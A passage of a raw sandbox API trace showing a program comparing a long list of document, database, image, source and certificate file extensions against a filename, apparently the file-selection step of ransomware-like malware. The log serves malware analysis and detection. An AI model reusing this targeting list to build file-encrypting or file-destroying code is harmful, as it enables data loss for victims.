[0195.593] lstrlenW (lpString=".7z") returned 3 [0195.593] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.593] lstrlenW (lpString=".accda") returned 6 [0195.593] lstrcmpiW (lpString1=".accda", lpString2="e6.ico") returned -1 [0195.593] lstrlenW (lpString=".accdb") returned 6 [0195.593] lstrcmpiW (lpString1=".accdb", lpString2="e6.ico") returned -1 [0195.593] lstrlenW (lpString=".accdc") returned 6 [0195.593] lstrcmpiW (lpString1=".accdc", lpString2="e6.ico") returned -1 [0195.593] lstrlenW (lpString=".accde") returned 6 [0195.593] lstrcmpiW (lpString1=".accde", lpString2="e6.ico") returned -1 [0195.593] lstrlenW (lpString=".accdt") returned 6 [0195.593] lstrcmpiW (lpString1=".accdt", lpString2="e6.ico") returned -1 [0195.593] lstrlenW (lpString=".accdw") returned 6 [0195.593] lstrcmpiW (lpString1=".accdw", lpString2="e6.ico") returned -1 [0195.594] lstrlenW (lpString=".adb") returned 4 [0195.594] lstrcmpiW (lpString1=".adb", lpString2=".ico") returned -1 [0195.594] lstrlenW (lpString=".adp") returned 4 [0195.594] lstrcmpiW (lpString1=".adp", lpString2=".ico") returned -1 [0195.594] lstrlenW (lpString=".ai") returned 3 [0195.594] lstrcmpiW (lpString1=".ai", lpString2="ico") returned -1 [0195.594] lstrlenW (lpString=".ai3") returned 4 [0195.594] lstrcmpiW (lpString1=".ai3", lpString2=".ico") returned -1 [0195.594] lstrlenW (lpString=".ai4") returned 4 [0195.594] lstrcmpiW (lpString1=".ai4", lpString2=".ico") returned -1 [0195.594] lstrlenW (lpString=".ai5") returned 4 [0195.594] lstrcmpiW (lpString1=".ai5", lpString2=".ico") returned -1 [0195.594] lstrlenW (lpString=".ai6") returned 4 [0195.594] lstrcmpiW (lpString1=".ai6", lpString2=".ico") returned -1 [0195.594] lstrlenW (lpString=".ai7") returned 4 [0195.594] lstrcmpiW (lpString1=".ai7", lpString2=".ico") returned -1 [0195.594] lstrlenW (lpString=".ai8") returned 4 [0195.594] lstrcmpiW (lpString1=".ai8", lpString2=".ico") returned -1 [0195.594] lstrlenW (lpString=".anim") returned 5 [0195.594] lstrcmpiW (lpString1=".anim", lpString2="6.ico") returned -1 [0195.594] lstrlenW (lpString=".arw") returned 4 [0195.594] lstrcmpiW (lpString1=".arw", lpString2=".ico") returned -1 [0195.594] lstrlenW (lpString=".as") returned 3 [0195.594] lstrcmpiW (lpString1=".as", lpString2="ico") returned -1 [0195.594] lstrlenW (lpString=".asa") returned 4 [0195.594] lstrcmpiW (lpString1=".asa", lpString2=".ico") returned -1 [0195.594] lstrlenW (lpString=".asc") returned 4 [0195.594] lstrcmpiW (lpString1=".asc", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".ascx") returned 5 [0195.595] lstrcmpiW (lpString1=".ascx", lpString2="6.ico") returned -1 [0195.595] lstrlenW (lpString=".asm") returned 4 [0195.595] lstrcmpiW (lpString1=".asm", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".asmx") returned 5 [0195.595] lstrcmpiW (lpString1=".asmx", lpString2="6.ico") returned -1 [0195.595] lstrlenW (lpString=".asp") returned 4 [0195.595] lstrcmpiW (lpString1=".asp", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".aspx") returned 5 [0195.595] lstrcmpiW (lpString1=".aspx", lpString2="6.ico") returned -1 [0195.595] lstrlenW (lpString=".asr") returned 4 [0195.595] lstrcmpiW (lpString1=".asr", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".asx") returned 4 [0195.595] lstrcmpiW (lpString1=".asx", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".avi") returned 4 [0195.595] lstrcmpiW (lpString1=".avi", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".avs") returned 4 [0195.595] lstrcmpiW (lpString1=".avs", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".backup") returned 7 [0195.595] lstrcmpiW (lpString1=".backup", lpString2="te6.ico") returned -1 [0195.595] lstrlenW (lpString=".bak") returned 4 [0195.595] lstrcmpiW (lpString1=".bak", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".bay") returned 4 [0195.595] lstrcmpiW (lpString1=".bay", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".bd") returned 3 [0195.595] lstrcmpiW (lpString1=".bd", lpString2="ico") returned -1 [0195.595] lstrlenW (lpString=".bin") returned 4 [0195.595] lstrcmpiW (lpString1=".bin", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".bmp") returned 4 [0195.595] lstrcmpiW (lpString1=".bmp", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".bz2") returned 4 [0195.595] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.595] lstrlenW (lpString=".c") returned 2 [0195.595] lstrcmpiW (lpString1=".c", lpString2="co") returned -1 [0195.596] lstrlenW (lpString=".cdr") returned 4 [0195.596] lstrcmpiW (lpString1=".cdr", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".cer") returned 4 [0195.596] lstrcmpiW (lpString1=".cer", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".cf") returned 3 [0195.596] lstrcmpiW (lpString1=".cf", lpString2="ico") returned -1 [0195.596] lstrlenW (lpString=".cfc") returned 4 [0195.596] lstrcmpiW (lpString1=".cfc", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".cfm") returned 4 [0195.596] lstrcmpiW (lpString1=".cfm", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".cfml") returned 5 [0195.596] lstrcmpiW (lpString1=".cfml", lpString2="6.ico") returned -1 [0195.596] lstrlenW (lpString=".cfu") returned 4 [0195.596] lstrcmpiW (lpString1=".cfu", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".chm") returned 4 [0195.596] lstrcmpiW (lpString1=".chm", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".cin") returned 4 [0195.596] lstrcmpiW (lpString1=".cin", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".class") returned 6 [0195.596] lstrcmpiW (lpString1=".class", lpString2="e6.ico") returned -1 [0195.596] lstrlenW (lpString=".clx") returned 4 [0195.596] lstrcmpiW (lpString1=".clx", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".config") returned 7 [0195.596] lstrcmpiW (lpString1=".config", lpString2="te6.ico") returned -1 [0195.596] lstrlenW (lpString=".cpp") returned 4 [0195.596] lstrcmpiW (lpString1=".cpp", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".cr2") returned 4 [0195.596] lstrcmpiW (lpString1=".cr2", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".crt") returned 4 [0195.596] lstrcmpiW (lpString1=".crt", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".crw") returned 4 [0195.596] lstrcmpiW (lpString1=".crw", lpString2=".ico") returned -1 [0195.596] lstrlenW (lpString=".cs") returned 3 [0195.597] lstrcmpiW (lpString1=".cs", lpString2="ico") returned -1 [0195.597] lstrlenW (lpString=".css") returned 4 [0195.597] lstrcmpiW (lpString1=".css", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".csv") returned 4 [0195.597] lstrcmpiW (lpString1=".csv", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".cub") returned 4 [0195.597] lstrcmpiW (lpString1=".cub", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".dae") returned 4 [0195.597] lstrcmpiW (lpString1=".dae", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".dat") returned 4 [0195.597] lstrcmpiW (lpString1=".dat", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".db") returned 3 [0195.597] lstrcmpiW (lpString1=".db", lpString2="ico") returned -1 [0195.597] lstrlenW (lpString=".dbf") returned 4 [0195.597] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".dbx") returned 4 [0195.597] lstrcmpiW (lpString1=".dbx", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".dc3") returned 4 [0195.597] lstrcmpiW (lpString1=".dc3", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".dcm") returned 4 [0195.597] lstrcmpiW (lpString1=".dcm", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".dcr") returned 4 [0195.597] lstrcmpiW (lpString1=".dcr", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".der") returned 4 [0195.597] lstrcmpiW (lpString1=".der", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".dib") returned 4 [0195.597] lstrcmpiW (lpString1=".dib", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".dic") returned 4 [0195.597] lstrcmpiW (lpString1=".dic", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".dif") returned 4 [0195.597] lstrcmpiW (lpString1=".dif", lpString2=".ico") returned -1 [0195.597] lstrlenW (lpString=".divx") returned 5 [0195.597] lstrcmpiW (lpString1=".divx", lpString2="6.ico") returned -1 [0195.598] lstrlenW (lpString=".djvu") returned 5 [0195.598] lstrcmpiW (lpString1=".djvu", lpString2="6.ico") returned -1 [0195.598] lstrlenW (lpString=".dng") returned 4 [0195.598] lstrcmpiW (lpString1=".dng", lpString2=".ico") returned -1 [0195.598] lstrlenW (lpString=".doc") returned 4 [0195.598] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.598] lstrlenW (lpString=".docm") returned 5 [0195.598] lstrcmpiW (lpString1=".docm", lpString2="6.ico") returned -1 [0195.598] lstrlenW (lpString=".docx") returned 5 [0195.598] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0195.598] lstrlenW (lpString=".dot") returned 4 [0195.598] lstrcmpiW (lpString1=".dot", lpString2=".ico") returned -1 [0195.598] lstrlenW (lpString=".dotm") returned 5 [0195.598] lstrcmpiW (lpString1=".dotm", lpString2="6.ico") returned -1 [0195.598] lstrlenW (lpString=".dotx") returned 5 [0195.598] lstrcmpiW (lpString1=".dotx", lpString2="6.ico") returned -1 [0195.598] lstrlenW (lpString=".dpx") returned 4 [0195.598] lstrcmpiW (lpString1=".dpx", lpString2=".ico") returned -1 [0195.598] lstrlenW (lpString=".dqy") returned 4 [0195.598] lstrcmpiW (lpString1=".dqy", lpString2=".ico") returned -1 [0195.598] lstrlenW (lpString=".dsn") returned 4 [0195.598] lstrcmpiW (lpString1=".dsn", lpString2=".ico") returned -1 [0195.598] lstrlenW (lpString=".dt") returned 3 [0195.598] lstrcmpiW (lpString1=".dt", lpString2="ico") returned -1 [0195.598] lstrlenW (lpString=".dtd") returned 4 [0195.598] lstrcmpiW (lpString1=".dtd", lpString2=".ico") returned -1 [0195.598] lstrlenW (lpString=".dwg") returned 4 [0195.598] lstrcmpiW (lpString1=".dwg", lpString2=".ico") returned -1 [0195.598] lstrlenW (lpString=".dwt") returned 4 [0195.598] lstrcmpiW (lpString1=".dwt", lpString2=".ico") returned -1 [0195.598] lstrlenW (lpString=".dx") returned 3 [0195.598] lstrcmpiW (lpString1=".dx", lpString2="ico") returned -1 [0195.598] lstrlenW (lpString=".dxf") returned 4 [0195.599] lstrcmpiW (lpString1=".dxf", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".edml") returned 5 [0195.599] lstrcmpiW (lpString1=".edml", lpString2="6.ico") returned -1 [0195.599] lstrlenW (lpString=".efd") returned 4 [0195.599] lstrcmpiW (lpString1=".efd", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".elf") returned 4 [0195.599] lstrcmpiW (lpString1=".elf", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".emf") returned 4 [0195.599] lstrcmpiW (lpString1=".emf", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".emz") returned 4 [0195.599] lstrcmpiW (lpString1=".emz", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".epf") returned 4 [0195.599] lstrcmpiW (lpString1=".epf", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".eps") returned 4 [0195.599] lstrcmpiW (lpString1=".eps", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".epsf") returned 5 [0195.599] lstrcmpiW (lpString1=".epsf", lpString2="6.ico") returned -1 [0195.599] lstrlenW (lpString=".epsp") returned 5 [0195.599] lstrcmpiW (lpString1=".epsp", lpString2="6.ico") returned -1 [0195.599] lstrlenW (lpString=".erf") returned 4 [0195.599] lstrcmpiW (lpString1=".erf", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".exr") returned 4 [0195.599] lstrcmpiW (lpString1=".exr", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".f4v") returned 4 [0195.599] lstrcmpiW (lpString1=".f4v", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".fido") returned 5 [0195.599] lstrcmpiW (lpString1=".fido", lpString2="6.ico") returned -1 [0195.599] lstrlenW (lpString=".flm") returned 4 [0195.599] lstrcmpiW (lpString1=".flm", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".flv") returned 4 [0195.599] lstrcmpiW (lpString1=".flv", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".frm") returned 4 [0195.599] lstrcmpiW (lpString1=".frm", lpString2=".ico") returned -1 [0195.599] lstrlenW (lpString=".fxg") returned 4 [0195.600] lstrcmpiW (lpString1=".fxg", lpString2=".ico") returned -1 [0195.600] lstrlenW (lpString=".geo") returned 4 [0195.600] lstrcmpiW (lpString1=".geo", lpString2=".ico") returned -1 [0195.600] lstrlenW (lpString=".gif") returned 4 [0195.600] lstrcmpiW (lpString1=".gif", lpString2=".ico") returned -1 [0195.600] lstrlenW (lpString=".grs") returned 4 [0195.600] lstrcmpiW (lpString1=".grs", lpString2=".ico") returned -1 [0195.600] lstrlenW (lpString=".gz") returned 3 [0195.600] lstrcmpiW (lpString1=".gz", lpString2="ico") returned -1 [0195.600] lstrlenW (lpString=".h") returned 2 [0195.600] lstrcmpiW (lpString1=".h", lpString2="co") returned -1 [0195.600] lstrlenW (lpString=".hdr") returned 4 [0195.600] lstrcmpiW (lpString1=".hdr", lpString2=".ico") returned -1 [0195.600] lstrlenW (lpString=".hpp") returned 4 [0195.600] lstrcmpiW (lpString1=".hpp", lpString2=".ico") returned -1 [0195.600] lstrlenW (lpString=".hta") returned 4 [0195.600] lstrcmpiW (lpString1=".hta", lpString2=".ico") returned -1 [0195.600] lstrlenW (lpString=".htc") returned 4 [0195.600] lstrcmpiW (lpString1=".htc", lpString2=".ico") returned -1 [0195.600] lstrlenW (lpString=".htm") returned 4 [0195.600] lstrcmpiW (lpString1=".htm", lpString2=".ico") returned -1 [0195.600] lstrlenW (lpString=".html") returned 5 [0195.600] lstrcmpiW (lpString1=".html", lpString2="6.ico") returned -1 [0195.600] lstrlenW (lpString=".icb") returned 4 [0195.600] lstrcmpiW (lpString1=".icb", lpString2=".ico") returned -1 [0195.600] lstrlenW (lpString=".ics") returned 4 [0195.600] lstrcmpiW (lpString1=".ics", lpString2=".ico") returned 1 [0195.600] lstrlenW (lpString=".iff") returned 4 [0195.601] lstrcmpiW (lpString1=".iff", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".inc") returned 4 [0195.601] lstrcmpiW (lpString1=".inc", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".indd") returned 5 [0195.601] lstrcmpiW (lpString1=".indd", lpString2="6.ico") returned -1 [0195.601] lstrlenW (lpString=".ini") returned 4 [0195.601] lstrcmpiW (lpString1=".ini", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".iqy") returned 4 [0195.601] lstrcmpiW (lpString1=".iqy", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".j2c") returned 4 [0195.601] lstrcmpiW (lpString1=".j2c", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".j2k") returned 4 [0195.601] lstrcmpiW (lpString1=".j2k", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".java") returned 5 [0195.601] lstrcmpiW (lpString1=".java", lpString2="6.ico") returned -1 [0195.601] lstrlenW (lpString=".jp2") returned 4 [0195.601] lstrcmpiW (lpString1=".jp2", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".jpc") returned 4 [0195.601] lstrcmpiW (lpString1=".jpc", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".jpe") returned 4 [0195.601] lstrcmpiW (lpString1=".jpe", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".jpeg") returned 5 [0195.601] lstrcmpiW (lpString1=".jpeg", lpString2="6.ico") returned -1 [0195.601] lstrlenW (lpString=".jpf") returned 4 [0195.601] lstrcmpiW (lpString1=".jpf", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".jpg") returned 4 [0195.601] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".jpx") returned 4 [0195.601] lstrcmpiW (lpString1=".jpx", lpString2=".ico") returned 1 [0195.601] lstrlenW (lpString=".js") returned 3 [0195.601] lstrcmpiW (lpString1=".js", lpString2="ico") returned -1 [0195.601] lstrlenW (lpString=".jsf") returned 4 [0195.601] lstrcmpiW (lpString1=".jsf", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".json") returned 5 [0195.602] lstrcmpiW (lpString1=".json", lpString2="6.ico") returned -1 [0195.602] lstrlenW (lpString=".jsp") returned 4 [0195.602] lstrcmpiW (lpString1=".jsp", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".kdc") returned 4 [0195.602] lstrcmpiW (lpString1=".kdc", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".kmz") returned 4 [0195.602] lstrcmpiW (lpString1=".kmz", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".kwm") returned 4 [0195.602] lstrcmpiW (lpString1=".kwm", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".lasso") returned 6 [0195.602] lstrcmpiW (lpString1=".lasso", lpString2="e6.ico") returned -1 [0195.602] lstrlenW (lpString=".lbi") returned 4 [0195.602] lstrcmpiW (lpString1=".lbi", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".lgf") returned 4 [0195.602] lstrcmpiW (lpString1=".lgf", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".lgp") returned 4 [0195.602] lstrcmpiW (lpString1=".lgp", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".log") returned 4 [0195.602] lstrcmpiW (lpString1=".log", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".m1v") returned 4 [0195.602] lstrcmpiW (lpString1=".m1v", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".m4a") returned 4 [0195.602] lstrcmpiW (lpString1=".m4a", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".m4v") returned 4 [0195.602] lstrcmpiW (lpString1=".m4v", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".max") returned 4 [0195.602] lstrcmpiW (lpString1=".max", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".md") returned 3 [0195.602] lstrcmpiW (lpString1=".md", lpString2="ico") returned -1 [0195.602] lstrlenW (lpString=".mda") returned 4 [0195.602] lstrcmpiW (lpString1=".mda", lpString2=".ico") returned 1 [0195.602] lstrlenW (lpString=".mdb") returned 4 [0195.603] lstrcmpiW (lpString1=".mdb", lpString2=".ico") returned 1 [0195.603] lstrlenW (lpString=".mde") returned 4 [0195.603] lstrcmpiW (lpString1=".mde", lpString2=".ico") returned 1 [0195.603] lstrlenW (lpString=".mdf") returned 4 [0195.603] lstrcmpiW (lpString1=".mdf", lpString2=".ico") returned 1 [0195.603] lstrlenW (lpString=".mdw") returned 4 [0195.603] lstrcmpiW (lpString1=".mdw", lpString2=".ico") returned 1 [0195.603] lstrlenW (lpString=".mef") returned 4 [0195.603] lstrcmpiW (lpString1=".mef", lpString2=".ico") returned 1 [0195.603] lstrlenW (lpString=".mft") returned 4 [0195.603] lstrcmpiW (lpString1=".mft", lpString2=".ico") returned 1 [0195.603] lstrlenW (lpString=".mfw") returned 4 [0195.603] lstrcmpiW (lpString1=".mfw", lpString2=".ico") returned 1 [0195.603] lstrlenW (lpString=".mht") returned 4 [0195.603] lstrcmpiW (lpString1=".mht", lpString2=".ico") returned 1 [0195.603] lstrlenW (lpString=".mhtml") returned 6 [0195.603] lstrcmpiW (lpString1=".mhtml", lpString2="e6.ico") returned -1 [0195.603] lstrlenW (lpString=".mka") returned 4 [0195.603] lstrcmpiW (lpString1=".mka", lpString2=".ico") returned 1 [0195.603] lstrlenW (lpString=".mkidx") returned 6 [0195.603] lstrcmpiW (lpString1=".mkidx", lpString2="e6.ico") returned -1 [0195.603] lstrlenW (lpString=".mkv") returned 4 [0195.603] lstrcmpiW (lpString1=".mkv", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".mos") returned 4 [0195.604] lstrcmpiW (lpString1=".mos", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".mov") returned 4 [0195.604] lstrcmpiW (lpString1=".mov", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".mp3") returned 4 [0195.604] lstrcmpiW (lpString1=".mp3", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".mp4") returned 4 [0195.604] lstrcmpiW (lpString1=".mp4", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".mpeg") returned 5 [0195.604] lstrcmpiW (lpString1=".mpeg", lpString2="6.ico") returned -1 [0195.604] lstrlenW (lpString=".mpg") returned 4 [0195.604] lstrcmpiW (lpString1=".mpg", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".mpv") returned 4 [0195.604] lstrcmpiW (lpString1=".mpv", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".mrw") returned 4 [0195.604] lstrcmpiW (lpString1=".mrw", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".msg") returned 4 [0195.604] lstrcmpiW (lpString1=".msg", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".mxl") returned 4 [0195.604] lstrcmpiW (lpString1=".mxl", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".myd") returned 4 [0195.604] lstrcmpiW (lpString1=".myd", lpString2=".ico") returned 1 [0195.604] lstrlenW (lpString=".myi") returned 4 [0195.605] lstrcmpiW (lpString1=".myi", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".nef") returned 4 [0195.605] lstrcmpiW (lpString1=".nef", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".nrw") returned 4 [0195.605] lstrcmpiW (lpString1=".nrw", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".obj") returned 4 [0195.605] lstrcmpiW (lpString1=".obj", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".odb") returned 4 [0195.605] lstrcmpiW (lpString1=".odb", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".odc") returned 4 [0195.605] lstrcmpiW (lpString1=".odc", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".odm") returned 4 [0195.605] lstrcmpiW (lpString1=".odm", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".odp") returned 4 [0195.605] lstrcmpiW (lpString1=".odp", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".ods") returned 4 [0195.605] lstrcmpiW (lpString1=".ods", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".oft") returned 4 [0195.605] lstrcmpiW (lpString1=".oft", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".one") returned 4 [0195.605] lstrcmpiW (lpString1=".one", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".onepkg") returned 7 [0195.605] lstrcmpiW (lpString1=".onepkg", lpString2="te6.ico") returned -1 [0195.605] lstrlenW (lpString=".onetoc2") returned 8 [0195.605] lstrcmpiW (lpString1=".onetoc2", lpString2="ate6.ico") returned -1 [0195.605] lstrlenW (lpString=".opt") returned 4 [0195.605] lstrcmpiW (lpString1=".opt", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".oqy") returned 4 [0195.605] lstrcmpiW (lpString1=".oqy", lpString2=".ico") returned 1 [0195.605] lstrlenW (lpString=".orf") returned 4 [0195.606] lstrcmpiW (lpString1=".orf", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".p12") returned 4 [0195.606] lstrcmpiW (lpString1=".p12", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".p7b") returned 4 [0195.606] lstrcmpiW (lpString1=".p7b", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".p7c") returned 4 [0195.606] lstrcmpiW (lpString1=".p7c", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pam") returned 4 [0195.606] lstrcmpiW (lpString1=".pam", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pbm") returned 4 [0195.606] lstrcmpiW (lpString1=".pbm", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pct") returned 4 [0195.606] lstrcmpiW (lpString1=".pct", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pcx") returned 4 [0195.606] lstrcmpiW (lpString1=".pcx", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pdd") returned 4 [0195.606] lstrcmpiW (lpString1=".pdd", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pdf") returned 4 [0195.606] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pdp") returned 4 [0195.606] lstrcmpiW (lpString1=".pdp", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pef") returned 4 [0195.606] lstrcmpiW (lpString1=".pef", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pem") returned 4 [0195.606] lstrcmpiW (lpString1=".pem", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pff") returned 4 [0195.606] lstrcmpiW (lpString1=".pff", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pfm") returned 4 [0195.606] lstrcmpiW (lpString1=".pfm", lpString2=".ico") returned 1 [0195.606] lstrlenW (lpString=".pfx") returned 4 [0195.607] lstrcmpiW (lpString1=".pfx", lpString2=".ico") returned 1 [0195.607] lstrlenW (lpString=".pgm") returned 4 [0195.607] lstrcmpiW (lpString1=".pgm", lpString2=".ico") returned 1 [0195.607] lstrlenW (lpString=".php") returned 4 [0195.607] lstrcmpiW (lpString1=".php", lpString2=".ico") returned 1 [0195.607] lstrlenW (lpString=".php3") returned 5 [0195.607] lstrcmpiW (lpString1=".php3", lpString2="6.ico") returned -1 [0195.607] lstrlenW (lpString=".php4") returned 5 [0195.607] lstrcmpiW (lpString1=".php4", lpString2="6.ico") returned -1 [0195.607] lstrlenW (lpString=".php5") returned 5 [0195.607] lstrcmpiW (lpString1=".php5", lpString2="6.ico") returned -1 [0195.607] lstrlenW (lpString=".phtml") returned 6 [0195.607] lstrcmpiW (lpString1=".phtml", lpString2="e6.ico") returned -1 [0195.607] lstrlenW (lpString=".pict") returned 5 [0195.607] lstrcmpiW (lpString1=".pict", lpString2="6.ico") returned -1 [0195.607] lstrlenW (lpString=".pl") returned 3 [0195.607] lstrcmpiW (lpString1=".pl", lpString2="ico") returned -1 [0195.607] lstrlenW (lpString=".pls") returned 4 [0195.607] lstrcmpiW (lpString1=".pls", lpString2=".ico") returned 1 [0195.607] lstrlenW (lpString=".pm") returned 3 [0195.607] lstrcmpiW (lpString1=".pm", lpString2="ico") returned -1 [0195.607] lstrlenW (lpString=".png") returned 4 [0195.607] lstrcmpiW (lpString1=".png", lpString2=".ico") returned 1 [0195.607] lstrlenW (lpString=".pnm") returned 4 [0195.607] lstrcmpiW (lpString1=".pnm", lpString2=".ico") returned 1 [0195.607] lstrlenW (lpString=".pot") returned 4 [0195.607] lstrcmpiW (lpString1=".pot", lpString2=".ico") returned 1 [0195.607] lstrlenW (lpString=".potm") returned 5 [0195.607] lstrcmpiW (lpString1=".potm", lpString2="6.ico") returned -1 [0195.608] lstrlenW (lpString=".potx") returned 5 [0195.608] lstrcmpiW (lpString1=".potx", lpString2="6.ico") returned -1 [0195.608] lstrlenW (lpString=".ppa") returned 4 [0195.608] lstrcmpiW (lpString1=".ppa", lpString2=".ico") returned 1 [0195.608] lstrlenW (lpString=".ppam") returned 5 [0195.608] lstrcmpiW (lpString1=".ppam", lpString2="6.ico") returned -1 [0195.608] lstrlenW (lpString=".ppm") returned 4 [0195.608] lstrcmpiW (lpString1=".ppm", lpString2=".ico") returned 1 [0195.608] lstrlenW (lpString=".pps") returned 4 [0195.608] lstrcmpiW (lpString1=".pps", lpString2=".ico") returned 1 [0195.608] lstrlenW (lpString=".ppsm") returned 5 [0195.608] lstrcmpiW (lpString1=".ppsm", lpString2="6.ico") returned -1 [0195.608] lstrlenW (lpString=".ppt") returned 4 [0195.608] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.608] lstrlenW (lpString=".pptm") returned 5 [0195.608] lstrcmpiW (lpString1=".pptm", lpString2="6.ico") returned -1 [0195.608] lstrlenW (lpString=".pptx") returned 5 [0195.608] lstrcmpiW (lpString1=".pptx", lpString2="6.ico") returned -1 [0195.608] lstrlenW (lpString=".prn") returned 4 [0195.608] lstrcmpiW (lpString1=".prn", lpString2=".ico") returned 1 [0195.608] lstrlenW (lpString=".ps") returned 3 [0195.608] lstrcmpiW (lpString1=".ps", lpString2="ico") returned -1 [0195.608] lstrlenW (lpString=".psb") returned 4 [0195.608] lstrcmpiW (lpString1=".psb", 